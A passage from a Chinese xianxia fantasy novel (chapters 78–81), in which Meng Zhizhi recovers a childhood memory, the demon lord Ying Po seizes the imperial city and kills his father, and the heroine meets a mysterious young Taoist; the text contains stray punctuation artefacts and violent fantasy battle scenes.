女子伸出手,源源不断的金光落到?襁褓之中,原本脸色灰败的幼儿逐渐焕发?生机,她的脸上变得通红,呼吸渐渐加重,嘤咛一声,额前出现双人蛇尾交缠的印记,又很快消失。 孟慕华抱紧她道:“芝芝?”她探她脉息,全然恢复,连那一身病都救治了。 她跪在?地上,道:“您是神仙?孟慕华今生有幸,竟然能得神仙救助,敢问神仙是哪一位?木儿定将为神仙修建庙宇,每日拜颂。” 女子道:“我不要那些,本来不该管这?人界之事……罢了,一切都是缘机。只是我探得你命运,你命运曲折,与?她缘分短浅,恐怕只有短短十数年,就算如此,你也不后悔?” 孟慕华道:“我只要她健康成长,十几?年已经够了,她能好好活下去,慕华还有什么不知足?” 女子道:“也不知今日之举对她而言是福是祸,这?世间早已不存在?神明?,她身上如今有神印,就与?我神域关联。” 孟慕华自知此事关系甚大,道:“您竟然是神域中的……木儿在?此立下誓言,绝不会将此事泄露,就算是芝芝长大,我也不会叫她知道,只望她一生平安。” 女子道:“你记住,当她濒临死?亡之境,神印会开?启,到?时候神域的大门?就会敞开?。进?入神域之人,永远无法下界。” 此时,芝芝睁开?了眼睛,对着孟慕华伸开?双臂,道:“娘。” 孟慕华眼泪滑落,道:“芝芝。” 她为孟慕华擦眼泪,“不,不,哭。” 孟慕华握住她的一只小手,道:“娘不哭。都要谢谢恩人。” 芝芝好奇地看向那个女子,冲她笑了起来。 女子禁不住蹲下身,伸出手,芝芝握住了她一根手指,拉了又拉,似乎十分喜欢她。 女子道:“我与?你缘分不浅。” 芝芝歪着头,道:“圆……圆?姐,姐。” 女子笑了,大雪停止。 “我叫风绒。” …… 孟枝枝陡然醒了过来,她想都是那条魂河的作用,令她清晰地记起了这?段过往。她的情绪受到?极大的冲击,原来师父过去真的叫木儿,她感到?无数记忆朝她扑面而来,脑子里一片混沌。 贤剑真君说的都是真的,那他究竟是谁? 此时,桌案上的铜镜上显示出一封信息。这?铜镜是云庭赠与?她的,没想到?还有收信功能。 “我是贤剑真君,我被关押在?永生殿中,现在?九重天君离开?,记得悄悄来寻我,不要告知旁人。” 孟枝枝立马起身,赶往永生殿。 她一进?入,就看见贤剑真君被捆住,他一见她便?激动道:“枝枝,我有话要嘱咐你几?句。” 孟枝枝看清那捆束住贤剑真君的绳索非一般之物?,而是相当厉害的法器,比净念道师的那条绳索更加厉害。 他念决,一柄绿玉如意就到?了孟枝枝手中,道:“带着它,去找云庭。” 孟枝枝道:“那你怎么办?我说过不会回千霄宫,你怎么还是来了。” 贤剑真君眼中对她慈爱,道:“我已经说了你如今就是我的徒儿,此地不安全,我会想办法解决九重天君,你不要再执着于此,木儿想让你活下来,我亦是。这?绿玉如意的操控之法与?白玉如意相同,带着它。” 孟枝枝十分犹豫,还是将那绿玉如意收入囊中,道:“你就是无真?” 贤剑真君眼神动容,一切尽在?不言中。 孟枝枝道:“我会叫云庭来救你。” “你们?谁也走不了。”九重天君走入殿内,伴随而来的还有赢破,身后跟着数十魔从?。 “我的儿,你看清了吧,他还想让人偷偷报信,破除仙誓,迫在?眉睫。不然等仙门?之人到?达之时,就是我们?父子葬身之期。” 赢破那双冷冽的眸子,看着孟枝枝道:“将他们?都抓起来,今日他们?就是孤破除仙誓的祭品。” 第79章 第 79 章 眼见魔从上前, 孟枝枝后?退一步,道:“用不着抓我,我自己?会走。” 九重天君几分意外?,道:“这小姑娘不怕死?” 孟枝枝笑了笑, 道:“我不怕啊。要说, 我还巴不得去死, 你说是?吗?凌恒魔君。” 赢破眼中怒意滔天, 上前就将孟枝枝的手腕捉住, 拉着她往外?走。 九重天君见状,给魔从们使了个眼神,他们带着贤剑真君跟着出去了。 赢破周身气势很冷,道:“你就这么想去送死?” 孟枝枝侧目,道:“不是?你要我死的吗?我只是?顺水推舟而已。” 赢破冷眼看她, 道:“你想让孤顺着你的想法来,孤偏不让。” 他将她的手紧紧拽到自己?身前,道:“知道什?么是?仙誓吗?仙誓一破,孤想灭哪座仙门就灭哪座,你说先灭了千霄宫如何?” 孟枝枝道:“灭了千霄宫, 不怕你那宝贝的樊盈绣冲你生?气?她如今应该在千霄宫混得风生?水起, 难道她美梦到头了?凌恒魔君的心思, 真是?谁也猜不透。” 赢破道:“少在这里?跟孤巧言令色。孤想如何就如何,孤不欠这天下, 是?这天下欠孤的。” 孟枝枝道:“那我今天可?有好戏看了。” 赢破看着她这云淡风轻的模样,恨得咬牙切齿。 这世间当真没有你在乎的东西?? 来到一片空地?之上,贤剑真君被人推搡上前, 但他依然一副安之若素的样子,他席地?而坐, 盘着腿。 九重天君道:“我的儿,动手吧。送这个老东西?早日归西?,这天下就是?我们的了。” 贤剑真君道:“九重天君,不对,我该叫你赢获,你们想破仙誓,一定会惊动百家仙门,就算今日我身死道陨,还会有前赴后?继的弟子们将你们铲除。” 九重天君冷笑道:“什?么狗屁仙誓!困守我赢氏一族千年的是?你们众仙门的诅咒,千年之前,我赢氏也是?鼎鼎有名的大?宗,因为你们嫉妒,就将我赢氏困守在人界千年,代代活不过三十岁,你以为我会怕其他仙门?让他们尽管放马过来,来一个我杀一个。我的儿,你都听见了吗?这该死的千霄宫峰主,还在嘴硬。” 赢破对贤剑真君道:“废话少说,汝受死吧!” 他伸出掌心,掌心里?是?滔天的魔气,皇城上方顿时出现一个巨形的透明罩子,里?面是?窜动的灵气。 无数灵气碎片倒映在九重天君的眸中,他激动道:“那些就是?我赢氏一族的仙脉!” 所谓仙脉指的就是?仙门赖以生?存的修炼灵气,大?仙门总会聚集在灵气蓬勃之处修行,而赢氏一族赖以生?存的灵气之源被封锁在这道罩子中。 赢破一手将那罩子轰开一个洞,无数的灵气跑了出来,一瞬孟枝枝感觉自己?周身充满了灵气。 只见贤剑真君此?刻脱身道:“你们如此?鲁莽,这灵气乱窜是?会伤害普通百姓的!” 他一手冲赢破攻来,九重天君抵挡住他一击,道:“我的儿,赶快!破除诅咒就在眼前!将这些灵气全部吞噬下去,你会成为天下最?厉害的共主!” 只见赢破腾地?而起,双手的魔气吸引着那些灵气全往他身体里?集中,他身上发出劈里?啪啦的炸裂声。 贤剑真君道:“魇灵,还不快出现!难道你忘记了和我的约定?!” 孟枝枝一惊,就见魇灵直冲到赢破跟前。 魇灵道:“今日就是?你的葬身之期。” 赢破冷眸,道:“你背叛了我。” 魇灵道:“当初我就告诉过你,要么吞噬鬼母,要么吞噬了仙门那些人,可?你竟然又将她送入虎口,令我们夫妻二?人再次分离。贤剑真君答应我释放鬼母,只要杀了你,我和鬼母就能逃走。” 赢破冷笑道:“你会相信他说的话?你既然舍得下鬼母的性命,却受不了和她分隔两地??天大?的笑话。” 魇灵道:“你懂什?么,我们鬼邪哪怕死也要死得其所,将我们囚禁起来是?对我们的侮辱。你就同你的母亲一般,优柔寡断,不自量力?!” 赢破那张脸彻底冷了下来,魇灵与他缠斗起来,这灵气肆意,发挥着凶猛的力?量。 孟枝枝见状,掏出护她剑,直接朝九重天君攻去。 九重天君道:“倒忘了你这只小虫子。魔从们,她就交给你们,拿下她,随意你们处置。” 魔从们纷纷上前,孟枝枝剑招凌厉,一剑刺中一个魔从的心脏,下一波攻击来临之时,她又火速迎上,打得难分难舍。 这些魔从果真不是?吃素的,他们显露出一张张丑陋的面容,那是?他们本来的模样,原来他们全是?鬼邪一族。 贤剑真君起了万剑,九重天君脸上长出魔斑。 贤剑真君道:“你吞噬了魔眼,你是?从人堕成了魔!是你杀了苍玥?” 九重天君直接双手起招,对轰上去,贤剑真君变幻出来的万剑冲刺而来,震天动地?。 赢破此?刻衣衫褴褛,那些乱窜的灵力?被他吞噬之后?,在他身上造成了不小的影响。但哪怕魇灵发出最?厉害的攻击,赢破也迟迟不倒地?,他心中骇然一片。 赢破道:“找这个机会想杀死孤,魇灵,你当真好算计。只是?可?惜,就差一点,孤就相信你了。” 魇灵顿觉不好,道:“你想做什?么?” 赢破道:“你不是?曾想让孤吞噬了鬼母?这下孤改了主意,比起被孤吞噬,鬼母死在那些修士的剑下,你会不会更恨呢?孤要记住,这都是?你自己?造成的!” 魇灵不安道:“你……” 赢破仰头大?吼,顿时千霄宫爆发出强烈的动静。 不过短短片刻,魇灵就察觉到鬼母的生?息全无,她临终时的嘶吼传入他的心扉,那是?对修士们强烈的仇恨。 魇灵顿时红了眼,道:“我跟你拼了!” 赢破张开嘴,捏爆他的头颅,吞进了腹中。只是?一眨眼的事情,却已经让在场的人都胆寒。 贤剑真君见势不对,冲孟枝枝道:“枝枝,我们快走!” 赢破道:“孟芷,你别想走!” 他奔身而来,魔君降临,将孟枝枝紧紧搂住,道:“孟芷,就算孤死,你也要跟孤一块死!” 贤剑真君想要上前去救孟枝枝,但云庭突然赶到,道:“师父,你果真在这里?,我带你先走!” 贤剑真君道:“孟枝枝!” 云庭看着场中焦灼,他暗自在心中做了打算,狠心先将贤剑真君带离此?处。 魔从们要追,九重天君制止住。 贤剑真君身上淌满了鲜血,道:“庭儿,快回去救她!” 云庭道:“师父,我做不到。” 贤剑真君怒道:“你傻吗?她是?你的亲妹妹,你又要弃她不顾?!” 云庭一瞬僵硬,道:“您说什?么?” 此?刻皇城已经大?乱,所有妖怪与修士打了起来。 原来云庭早说动了一批仙门之人下界救出贤剑真君,此?时仙誓破出一个口子,妖魔鬼怪全跑出来作恶了。 赢破将那灵气全数吞噬,他背后?炸开了一个又一个血口,孟枝枝的眼睛已经被血液模糊,眼前一片血红,她没有受伤,道:“为什?么?” 赢破咬紧牙根,道:“孤说过,要你生?不能,死不能。” 孟枝枝心中猛摇头,不,不对。 他要她生?死不能,却又舍不得杀她,就算这样,也要将她护在怀中。她心中复杂一片,看着眼前这个气息奄奄的魔头,她想不明白,他为什?么一定要她留在他身边?她对他来说有那么重要吗? 赢破将灵气全数吞噬进去,他紧抱着孟枝枝缓缓落下,一双血红的眼睛抬起,他浑身经脉被炸毁,密密麻麻的伤口就像渔网一般,身体之下一片血泊。 九重天君眼中难掩欣喜,道:“终于?成功了!哈哈哈,诅咒已毁,以后?我赢氏一族自由了!” 孟枝枝感受到双手都是?湿热的血液,她看着赢破苍白的脸色挂着血斑,一双眸子像失去了温度。 “恭喜九重天君,贺喜九重天君,如今臣是?不是?该得偿所愿了?”樊隆突然走了出来。 九重天君沉了下巴,目光轻轻落在赢破身上,道:“他归你了。” 孟枝枝愣住。 什?么意思? 九重天君将赢破给了樊隆? 樊隆顿时显出蛇尾,将赢破高高卷起,他长长的指甲落到了他的肚子腹部,伸进去,赢破那残破的身体开始抽搐。 孟枝枝祭出那柄绿玉如意,道:“妖孽!看招!” 她直接念起净天地?神咒,对冲樊隆和九重天君。 这柄绿玉如意散发出来的力?量比孟枝枝想象中的更加强大?,一下子就将樊隆冲了出去,赢破掉落到地?上。 孟枝枝走过去,蹲下道:“还没死,就给我起来。我说了我必杀九重天君,有种?你就来杀我。” 她掏出护她剑,向?九重天君刺去。 她这段时日时刻练习贤剑真君给的那套心诀,那套心诀十分厉害,她将自己?现学的几招剑术用上,竟然也能发挥出护她剑的剑气,一刃锋锐十足。 九重天君拿起扇子在身前抵挡,却被孟枝枝劈了个稀巴烂。 他脸色沉了下去,身上的斑纹彻底开启,他背后?长出了八条白骨手臂,那手臂粗大?,向?孟枝枝抓去。 孟枝枝一剑劈在那骨架上,剑面发出铿锵的声响。她顿时意识到,九重天君这副外?身躯硬度骇人,她只能使出连招,连续斩击九重天君的白骨上,终将一根白骨手臂斩断。 她突然意识到自己?的速度还不够,于?是?默念心诀,再次翻转上去,一眨眼挥出百次斩击。 九重天君道:“不自量力?!魔从们都给我上!”他上半身衣物炸开,身上出现了紧密相连的魔斑,身体里?长出新的白骨,而地?面上掉落的白骨也在动作,它们如鬼手一般向?孟枝枝抓去。 孟枝枝一手执剑,一手持柄,“神君在上,借我神力?。如意,如意,万物破毙。” 绿玉如意身上散发的圣光笼罩在护她剑上,孟枝枝用尽全力?一拼,一手持着飞舞旋转的绿玉如意击飞拦路的魔从,一手持着的护她剑变得巨大?,化成一把?巨剑,直接从九重天君正眉心斩击。 九重天君见状,立马匍匐在地?,身上的白骨手臂都变成了他的腿,闪避开来,这一斩落空,地?面凹陷了进去,但周围的魔从都被孟枝枝消灭了个干净。 樊隆撑起蛇尾,道:“孟芷,今天就是?你的死期。” 第80章 第 80 章 孟枝枝亲眼看见樊隆掌心一片血红, 他正拿着一枚发?着黑光的珠子。 她连忙去看赢破,就见他已经?瘫倒在地,不知是?死是?活。 樊隆吞下了?那颗珠子,浑身魔力充盈, 他大笑起来道:“我终于得到了?魔眼, 从今以后我再也不用困在这无用的身体里。” 他嘭地一声炸开, 天空下起血雨, 樊隆蜕皮般彻底变成?了?蛇形的怪物, 眼睛变成?竖瞳,蛇信子发?出嘶嘶的声音。 孟枝枝咽了?咽唾沫。她怎么也没想到樊隆竟然也是?妖怪,如今吞了?赢破的魔眼,他也成?魔了?。 九重天君和樊隆并排而站,对着孟枝枝露出邪恶的目光。 孟枝枝再次举剑起势, 她道:“九重天君,你为什么要?害凌恒魔君?他是?你的亲儿子,你杀了?那么多人,他到死都还在包庇你,在你眼中, 他只是?一个工具?” 九重天君哈哈大笑, 道:“那孩子破除了?诅咒, 使命已经?到头。鬼王苍玥利用完我生下他,又对我见死不救, 我利用她的孩子,不是?顺理成?章?总归他是?赢氏血脉,我会将他埋葬在皇陵之中, 皆大欢喜。” 孟枝枝只觉得一阵寒栗,她觉得眼前?这个人比魔更可怕, 不过他已经?算不上人了?。 樊隆道:“孟芷,你有空担心那小子,不如担心下你自己。你真是?命硬,孟慕华那女人心机深沉,净念夺走了?她的如意神器,却被你们杀了?,你何德何能,又拥有一柄绿玉如意!今日你就和那小子做一对亡命鸳鸯吧。”他一驱使魔气,蛇尾乱摆,黑气腾地一下膨胀开来。 他两只竖瞳陡然变成?血红,蛇尾向?孟枝枝冲击过来,掀起气吞山河之势。 孟枝枝立刻提剑去扛,然而想象中的重击并未落下,她看见樊隆浑身僵直,眼球凸出,口中喷出黑色的血。 樊隆大惊,道:“我的魔眼!” 刚刚被他吞下的魔眼顺着他的喉咙送了?出来,原本倒地不起的赢破不知什么时候站起来,像个煞神般,眼中爆发?狠厉,道:“想要?走孤的东西?你配吗!” 魔眼仿佛听到了?主人的召唤,重新归于赢破的腹中。 孟枝枝心中强烈的不安升起,赢破的生命力比她想象得顽强得多。 谁也没看见赢破怎么行动,当反应过来之时,樊隆的头颅已经?被他捏爆了?,孟枝枝被溅了?一脸的血。 九重天君慌道:“我的儿,为父刚刚是?缓兵之计,如今有你我父子二人联手,什么仙门都不用放在眼里。” 赢破一步一步朝他走了?过去,脚下落满一个又一个血印。 赢破掐住了?九重天君的脖子,道:“现在改口?晚了?。” 九重天君急道:“我可是?你父亲,你天底下唯一的血亲了?。” 赢破残忍地笑道:“你当真以为孤会在意那点血肉亲情?别忘了?,孤是?魔,身体里流的是?鬼邪的血液。你抢了?孤的东西,现在就给孤还回?来!” 九重天君双目失神,道:“不,不,那是?我的!我的!” 下一秒,赢破就掏空了?他的腹腔,另一颗魔眼透着七彩斑斓的黑。 孟枝枝恍然大悟,原来赢破天生有两个魔眼,他之所以这么强大也是?因为此。她大胆猜测当初赢破诞生之时,苍玥对九重天君见死不救,于是?九重天君剖开了?赢破的肚子,取出了?魔眼。难怪他会从人变成?魔,原来他的力量来自赢破! 九重天君还想挣扎,双手冲向?那魔眼,只一瞬,他的头颅就被赢破捏爆了?。 赢破眼皮眨也不眨,弑父在他眼中轻描淡写?。 孟枝枝终于反应过来,他从未信过九重天君,一直隐忍,是?为了?最后一刻捞出大鱼,彻底搏杀。如今整个朝堂真的全在赢破的控制下了?。 赢破回?过身,走到她跟前?,伸出弯曲的食指拂去她脸上的血渍,道:“怕吗?” 孟枝枝无法理解他的意思,道:“你要?如何向?樊盈绣交代?” 赢破脸色骤然一变,道:“孤的行为不容任何人置喙。孟芷,孤说过,这天下欠孤的。孤会一个个全找回?来。” 他仰头望天,似乎对它痛恨欲绝。 此刻,数只鬼邪现身,向?赢破跪拜道:“陛下,城外已清,仙门之人都已逃溃。” 他什么时候组建了?一只鬼邪军队? 孟枝枝眼眸变得更深了?,这一切的一切都在按照上一世的轨迹进行,这就是?师父口中的宿命吗? 赢破挥手道:“派人清理城内外,孤要?明天太阳照常升起。” “属下领命。”鬼邪告退。 赢破向?她伸出手,道:“你到最后都没选择杀孤,孟芷,和我共拥这天下吧。”他眼中闪着奇异的光。 孟枝枝看着那只修长的手,明明如此强大,捏碎了?无数妖魔的头颅,但看着却孱弱苍白。 她道:“凌恒魔君,我不与魔共舞。” 赢破冷道:“这就是?你的答案?” 孟枝枝道:“是?。如果有一日,你要?屠城杀人,我定会亲手杀了?你。”风吹起她发?丝上的红绳,她一如既往地坚决。 赢破眸色翻涌,道:“好。孟芷,不要?怪孤没有给过你机会。” 他手一挥,整座城都笼罩在他的结界之下,孟枝枝知道自己逃出去的机率更低了?,但她丝毫不慌张。贤剑真君安全回?去了?,不管如何,这次消灭了?九重天君这个恶魔,城中一段时间?内不会再有人无辜丧命,但要?是?赢破下令让鬼邪杀人……她捏了?捏手中的护她剑。 夜晚降临,赢破宴请鬼邪将领和诸位大臣,重振朝廷。 孟枝枝奔去钦天塔中,她迫不及待告诉玲珑和元青这个好消息。二人听闻,拥抱哭泣,谁能想到她们不光能死里逃生,还能为那些?死去的亡魂报仇雪恨。 元青红了?眼睛,道:“多谢女医大人为我们四处奔走,还请受元青一拜。” 孟枝枝立马扶起她,道:“我没做什么,九重天君不是?我杀的,是?……凌恒魔君。这下你们可以暂时放下心来,不用再担心受怕了?。” 元青道:“恩,我想去为那些?死去的姐妹们烧点纸钱,她们在天有灵,一定会很开心。” 孟枝枝道:“我陪你们。” 二人在钦天塔后一块空地里烧纸,孟枝枝在不远处看着。 元青双手合十道:“元青在此发?誓,余生一定好好过,将你们未过完的人生都过了?。我之前?总扪心自问为什么只剩我苟延残喘,我一直念着你们,如果不是?当时你们挡在我身前?,不是?玲珑遇到了?女医大人,我这条命永无告白之日,姐妹们,你们安息吧。我不会再顾影自怜,不会再悲风伤秋,我只配好好地活下去。来世,你们做我的女儿,我一定好好抚养你们长大,下辈子再也不要?遇到妖魔了?。” 玲珑忍不住放声大哭。 孟枝枝擦了?擦眼角。 人命何其?宝贵,人都是?有尊严的,容不得妖魔来随意践踏! 她仰望着天空,师父,如果你在,你也一定是?认可枝枝的吧? 送二人回?去之后,孟枝枝特地留守钦天塔,她想见一见那个神秘的小道士。 李妙湛正站在塔顶之上。 满月散发?着晕环,他一身道士袍衣袂飘飘,双手合成?莲花手印,几?道金色的符文在他周身滚动。 孟枝枝看见了?他,刚想开口,突然,李妙湛口里吐出一股鲜血,手势、脚步皆别扭了?起来,看着十分怪异。 孟枝枝见状立马脚蹬地面,上去扶住了?李妙湛,她刷刷几?下,点了?他身上几?处穴位。 李妙湛双目逐渐恢复清明,自己稳住身形,一把推开了?孟枝枝,“不用。” 孟枝枝道:“你身有重伤,这伤久而未愈。你需要?静养,不应该再强迫自己使用高等法术。” 李妙湛道:“贫道知晓,不劳你操心。” 孟枝枝道:“可是?你的伤……” 李妙湛似乎是?不耐烦道:“这伤只有贫道师父能治。” 孟枝枝道:“那你师父什么时候回?来呢?” 李妙湛紧绷的表情终于有一瞬动容,道:“不知道。” 忽而,他又恢复冷傲的表情道:“贫道还有事,先行离去,你请自便。” 说罢,他从塔上跳下。 孟枝枝回?头一看,就看见他离去的地方留下了?一个千纸鹤。千纸鹤是?修仙者们的一种惯用法术,可以用来放哨、寻人。 她捡起来,发?现上面写?满了?符文,这符文繁密而精妙,非一般修仙者能够写?出。施以这么重的符咒,功效自然好上百倍。 他刚刚施法难道就是?在找净念道师吗? 孟枝枝将千纸鹤收入囊中,决定去寻李妙湛,将东西还给他。 她也从塔上跳下。 鬼气森森的夜幕里百虫静谧,此处宫路杂草丛生,人烟稀少,只有零星的宫灯随阴风啸啸作?响。 空荡荡,这里的建筑一览无余,“干净”得分外诡异。 她猛地转向?身后,一道黑影朝她袭来。 孟枝枝立马捏决抵挡,她就看见一个扭曲的人影猛冲过来,他的四肢像被线操控的木偶,动作?却快得惊人,每一招激得空气都变了?形,孟枝枝被无形的幻风吹得睁不开眼。 “木偶人”喊出口道:“快走!” 孟枝枝此时才认出来,这个“木偶人”原来就是?李妙湛,只见他脸部破损了?一个黑洞,像被人打碎的瓷瓶一样不断往下掉落碎片。 “我不是?叫你快走吗?!”李妙湛双眼变得空洞,身体发?出咔咔地怪异声响。 他是?操控不了?自己的身体? 孟枝枝立马念咒,“天降神威,赋予枣上,逆我者皆逐。咒枣,出。” 数颗咒枣变化成?一条绳子,它们齐齐向?李妙湛飞去,将他定住。 李妙湛声音嘶哑,道:“快走,你的法术抵挡不了?多久,灵力耗尽之时,就是?法术消失之刻。” 孟枝枝道:“教教我,怎么样才能稳住你?” 李妙湛像是?认命般,道:“你能暂时缝补贫道脸上的洞口吗?” 孟枝枝想了?想,点点头,道:“我来帮你。” 她伸出手,将手掌心翩翩一转,绿玉如意既出,散发?着圣洁的光晕,像绿色的雪一样融化了?四周。李妙湛怔愣住。 孟枝枝熟练地施出净天地神咒,李妙湛脸上可怖的黑洞一点一点收拢了?回?去,双目渐渐清明,身形也跟着平静下来。 孟枝枝撤离了?咒枣,捏决收回?了?那柄绿玉如意。李妙湛的目光一直随那柄绿玉如意而动,直至绿玉如意消失,他才撤离了?目光。 “你感觉怎么样?” 李妙湛行动之时身形依然有些?僵硬,少年的声音也有些?硬道:“贫道没事。” 孟枝枝道:“我来寻你,是?为了?还你此物。” 她将千纸鹤递了?过去。 李妙湛看见那千纸鹤,指尖微颤,收了?回?去,藏在衣袖里。 孟枝枝道:“那我先回?去了?。” 身后传来声音:“你等等。” 孟枝枝立住脚步,缓缓转过身。 李妙湛道:“今日之事……” “我不会告诉任何人。”孟枝枝答。 李妙湛的眸色现出愣意,褐色的瞳仁里倒映着少女的小辫上红绳翩飞。少年紧绷的面容微松,微松得不露痕迹。 孟枝枝道:“不过,我可以问你一个问题吗?” “什么?” “你留在此处究竟是?在做什么?” 80-90 第81章 第 81 章 李妙湛道:“贫道是国师弟子, 受国师之命,守护此?地。” 孟枝枝道:“国师是谁?” 李妙湛道:“国师便是国师。” 孟枝枝道:“你师父没?有名字吗?” 李妙湛背过身?去,似是不耐烦道:“不知道。你怎么问题这么多?” 他转过身?来?数落道:“你身?为宫中女医,不在自己的位置上呆着, 反倒多次来?钦天塔, 难道是陛下派你来?, 想跟先帝一般要求仙问道?” 孟枝枝道:“你知道先帝的事情?” 李妙湛语气略微不屑道:“略知一二。此?事你就别?想了, 见素抱朴, 少私寡欲。你是修道之人,这个道理难道都不懂?” 孟枝枝正欲开口,又见李妙湛挥手道:“行了,从明日开始,你寅时到此?地来?。” 孟枝枝道:“做什么?” 李妙湛眼神扫过, 冷冷地剜了她一眼,眼神里有说不出的嫌弃。 孟枝枝立马敛住求知欲,道:“我知道了,一定来?。” 李妙湛一瞬又消失不见。 孟枝枝心中觉得无?比奇怪,他当真?不知道净念已经死了?还是说国师另有他人? 她百思不得其解, 只能?先回去。 千霄宫中, 云庭正在贤剑真?君的房中, 只有他们二人在此?。 “孟芷是我妹妹?师父,这究竟是不是真?的?我的妹妹叫云芝, 我亲眼看见她死在我眼前。”云庭眼眶红了,这个要命的问题一直缠绕着他,直到所有人安全撤离, 回了千霄宫,他憋了一路的话才敢问出。 贤剑真?君道:“孟慕华本名叫木儿。” 云庭如被雷电击中, 道:“木大?夫……” 樊盈绣告诉过他,那夜孟芷的师父突然出现在洞中,师父唤她为木儿,她当真?是当初将芝芝带走的木大?夫! 贤剑真?君道:“你妹妹有奇遇,她身?上有双人蛇尾的神印,我猜想当初木儿抱着她遇到了真?神。” 云庭顿时双目红了,道:“芝芝,我的妹妹,还活着!” 他转身?就要走。 贤剑真?君叫住他,道:“你给我站住!你现在难道想去找枝枝吗?你知不知道皇城已经鬼邪聚集,现在再去就难了,你敢保证将她带出,你们二人能?全身?而退?再者,你觉得枝枝会认你这个亲哥哥吗?” 云庭顿时跪在地面上,向来?性子清冷的他眼中泪水涌出,道:“师父,难道要我第二次再看芝芝在我眼前死去?都是我这个做哥哥的不好,我杀了她的朋友,我还抛下了她。” 贤剑真?君道:“那凌恒魔君暂时不会杀她。我看得出来?,那魔头对枝枝有意。” 云庭道:“如此?,我更?要将芝芝带出来?了。那里是什么地方?是不讲道理、践踏人命的鬼邪聚集之地!我怎么能?亲眼看着她被凌恒魔君俘虏!” 贤剑真?君无?奈,道:“庭儿,我知道你现在的心情。但是我问过枝枝,她不愿意回到千霄宫,就算你想带她走,她也不一定愿意跟你回来?。” 云庭不禁问道:“为什么?” 还能?为什么? 她来?到千霄宫无?依无?靠,被人栽赃陷害,关押在天牢之中,到最后?她还要饱受非议,他这个做哥哥的从来?没?有真?正维护过她,让她一直被人针对,从未感受过安全。她该多怕啊,她只有十六岁,还要面对师父离去、朋友离去的局面,她又如何自证清白?! 云庭顿时一拳锤在了地面上,血液顿时从他的手背流了下来?,道:“师父,我愿意带领弟子斩杀凌恒魔君,就算舍掉我这条命,我也要将芝芝救出来?。” 贤剑真?君道:“此?事我会同诸位峰主商议,庭儿,暂时不能?对外?暴露枝枝是你亲妹妹的身?份。倘若这件事让凌恒魔君知晓,枝枝的处境会更?加危险。” 云庭强忍着情绪,道:“徒儿知道了。” “今日你带领弟子清理皇城中的妖邪已经太累,回去休息吧。” 贤剑真?君挥了挥手,云庭步伐僵硬,他浑浑噩噩,不知道怎么回到自己的住所,门外?正有樊盈绣等着他。 樊盈绣道:“大?师兄,我听闻孟芷被邪魔杀掉,究竟是真?是假?” 云庭陡然看向她,目光冷冽。樊盈绣不知所以,她不知道自己正踩中云庭的雷区。 云庭道:“你很想她死?”语气中带着怒意。 樊盈绣道:“不是我想她死,而是她身份可疑。我不是告诉过你,她被贤剑真?君刺中一剑,如今又为贤剑真?君引来?这么大?祸端,想她死的人应该很多吧。” 云庭将胳膊抵住她的咽喉,道:“你再多说一句,我就撕烂你的嘴!” 樊盈绣吃了一惊,道:“大?师兄,难道你真的对孟芷有意思?我有哪一点比不上她?我不过是修行得晚,总有一日我会超过她。” 云庭道:“你哪里都比不上芝芝,你给我滚!你要是再出现在我眼前,我就将你丢回皇宫。” 凭什么她还能在这里张牙舞爪,而芝芝只能?被困在魔头身?边,都是因为她,如果不是被她拖住了脚步,听了她的胡言乱语,以为木大夫要杀师父,孟芷也对师父有敌意,这次行动成了以救师父为主,他本可以召集更?多的人,那样是不是芝芝就能救出来?了? 他转身?离去,将门砰地关上。 樊盈绣脸色扭曲了起来?。 她就说云庭对孟枝枝不一般,这下他连掩藏都不掩藏了,连一贯的君子风度都不要了,居然对她恶言相?向。 这次一役,到底发生了什么事?她一定要弄个明白?。 她捏了捏手腕上的珠子,从珠子飞出一只黑鸦,黑鸦向下界飞去。 整座皇城变成了妖邪所在的地方,自从上次仙门带兵退去,百姓纷纷出逃,甚至不少大?臣也携家?眷连夜逃跑了。 魅魔上前道:“陛下,我们什么时候攻打?仙门?” 赢破道:“急什么?此?时该急的是他们,如今皇城皆在孤的掌控下。”他真?的将整座皇城变成了一座鬼城。 魅魔道:“属下誓死追随陛下,如果不是陛下,我等还困守在那极恶之地,怎能?重见天日,看尽繁华人间?!” 水鬼上前道:“陛下是鬼王苍玥之子,臣曾追随苍玥殿下,十七年前的那场大?战,仙门将我们驱赶回原住之地,臣想尽所有办法,也没?能?逃出来?,这天地规则甚是可恶!仙门经昨日一战元气大?伤,多亏陛下早有预料,先将我们带离,现在又破除诅咒,将九重天君这个贼子杀了,替苍玥殿下报仇,有我等在,陛下自可高枕无?忧。” 赢破道:“孤知道,不然也不会提早释放你们,让你们在暗处观察。这次拔出了不少钉子,但鬼邪之中是否还有人不服孤这个魔君,还得再看。”他扫视了一眼,细细打?量着所有人的面容。 水鬼道:“谁敢反了陛下,水鬼第一个杀了他。陛下是苍玥殿下正统血脉,唯一拥有两颗魔眼的强大?魔君,谁敢不从?” 水鬼是其中资格最老的鬼邪,他如此?拥护赢破,让一些蠢蠢欲动的鬼邪不由地收敛了神色。 赢破道:“传孤指令,不许随意伤害普通人,你们鬼邪之间?那套规矩自己用着,不要毁了孤的皇城,若有违令者,斩。” “臣等遵命。” 偌大?的阴气笼罩了整座城池,从未出现过这么多的鬼邪,仙界之中早已闹得不可开交,谁都清楚,凌恒魔君如此?强大?,又如此?有心机,何况他又带着深刻的仇恨,那句“天下欠孤的”流传开来?,不安的气氛传递到每个仙门之中。 寅时,天色如乌鸦一般黑。 孟枝枝来?赴约,她一到地方,看见李妙湛早来?了。 道袍少年看着天空,眉头微撇,道:“你可带了玉?” 孟枝枝道:“什么玉?” 他说的是绿玉如意?上次她便觉得他看绿玉如意的眼神有异。她的手指微动,指尖落下一道符纸。 李妙湛道:“玉,你也不知?道家?玉令,由开光的玉石雕刻制成佩状,能?辟邪除妖,弟子入道人人需有一枚。若是有墨粉朱砂玉佩自是上佳,不过看你这样子,你有吗?” 孟枝枝的手指松离开,将符纸收了回去,恢复如常,道:“没?有。” 李妙湛眉头紧皱着,鼓出一个小包,丢手一甩,孟枝枝接了过来?,是一枚青色玉佩,正面有墨粉朱砂勾勒出“敕令”二字,那二字鲜红如滴血,看着便血气堂堂。 “借你一用,小心保管。如果出了裂痕,再没?第二个。” 孟枝枝道:“多谢。” 李妙湛双手一并,捏决,道:“开阵。” 眼前陡然出现一片竹林,那翠竹林绿得幽幽发光,像是生生嵌进?了皇宫建筑里,像两幅画立体地叠在了一块,生硬突兀。周围宫阙幽深,翠竹却生机勃勃,有种说不出的诡异。 